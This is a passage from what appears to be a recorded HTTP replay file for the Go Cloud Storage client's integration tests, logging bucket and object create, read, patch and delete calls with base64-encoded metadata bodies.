0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBUT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0pibWh1angvZUVDRUFRPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBUT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiTTVlRy9BPT0iLCJldGFnIjoiQ0pibWh1angvZUVDRUFRPSIsImV2ZW50QmFzZWRIb2xkIjpmYWxzZX0=" - } - }, - { - "ID": "bda340f0117c1fb4", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:39 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UotG32AgmOwDD_bLLd_W64JCOZQ2-UgeY_cOZwomlkWb6Vx5JSE54tdsuCPvawuyJ8eNuCf8EM0qXlIjtAyg6QQiuN9t72vHrQLsrSs6WtJBDGZziU" - ] - }, - "Body": "" - } - }, - { - "ID": "9a0b7379af024a3a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:39 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur7S22mcdvPtDq_Z9iUbo4v0ApOQXNFgXFNZuacd8yZUq2FhZKco01Z2T4vJSv8s1yZkGXzoUrAuUKnCBx0vZuE-MDGnmTF_YxhQoXobyvAyktswdE" - ] - }, - "Body": "" - } - }, - { - "ID": "affb380cf86f173c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5In0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "485" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:40 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrF4q2mbuFoVeV9q22libc-FjfB1eDXSMYhNGZNU6sbaMWEKdc-8eXu1gtMLC7Ia9bSRU0oxgpIRR9516KZRcg7o_VGdrU1lliVPuSY9rYa4OsJymE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjA4MVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0MC4wODFaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "88123486ecd710ed", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJuYW1lIjoic29tZS1vYmoifQo=", - "cGCusp668ZMwY59j94Srfg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:41 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrixhGvSHn6UzWmshHjh8Ny2NE4LW-gcPPW4dCm9dZTDfBwtENYMJra88jZlphQFcyabnQwTegZW9_6bL8KYNOsyYQYgdtEDvFFMQeJ9B_IXQbrsgI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0MC42MzhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDAuNjM4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiUjhVSExIMG84ZjFlTVhVRHRyMTZLZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTk0MDYzODY3MiZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTkMvM09ueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvc29tZS1vYmovMTU1NjgzNTk0MDYzODY3Mi9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTkMvM09ueC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IjB6R3NGUT09IiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "042e51e8b073dc93", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:41 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqTH44ERv_v2A5OmhnLVBFOkQ_bPdeDI-MNir5xjrZt1ybrczlk9GwseHZ-kt566XrMnuYGTaCkr4ImF__dpbt98CqMpmYkiJaR1vKcI1DC7o3Dbl8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0MC42MzhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDAuNjM4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiUjhVSExIMG84ZjFlTVhVRHRyMTZLZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTk0MDYzODY3MiZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTkMvM09ueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvc29tZS1vYmovMTU1NjgzNTk0MDYzODY3Mi9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTkMvM09ueC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IjB6R3NGUT09IiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "ed898d656784527a", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "83" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJ0ZW1wb3JhcnlIb2xkIjp0cnVlfQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - 